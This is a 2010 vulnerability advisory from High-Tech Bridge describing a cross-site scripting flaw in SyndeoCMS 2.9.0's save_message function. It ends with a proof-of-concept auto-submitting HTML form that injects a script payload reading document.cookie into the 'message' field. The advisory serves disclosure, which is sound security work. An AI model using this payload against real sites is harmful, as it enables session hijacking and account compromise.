XSS vulnerability in SyndeoCMS

Vulnerability ID: HTB22493
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_syndeocms_2.html
Product: SyndeoCMS
Vendor: The SyndeoCMS team ( http://www.syndeocms.org/ )
Vulnerable Version: 2.9.0 and Probably Prior Versions
Vendor Notification: 12 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the save_message script to properly sanitize user-supplied input in "message" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/starnet/index.php?option=modulemanager&amp;module=13&amp;modoption=save_message&amp;suboption=&amp;message_id=1&amp;cat_id=4&quot; method="post" name="main" >

<input type="hidden" name="intro_message" value="Holiday">
<input type="hidden" name="days" value="0">
<input type="hidden" name="page_id" value="4">
<input type="hidden" name="name" value="Director">
<input type="hidden" name="date" value="09-07-2010">
<input type="hidden" name="message" value='Next week is a holiday so all the children are free"><script>alert(document.cookie)</script>' >
<input type="hidden" name="savebutton" value=" Save">

</form>
<script>
document.main.submit();
</script>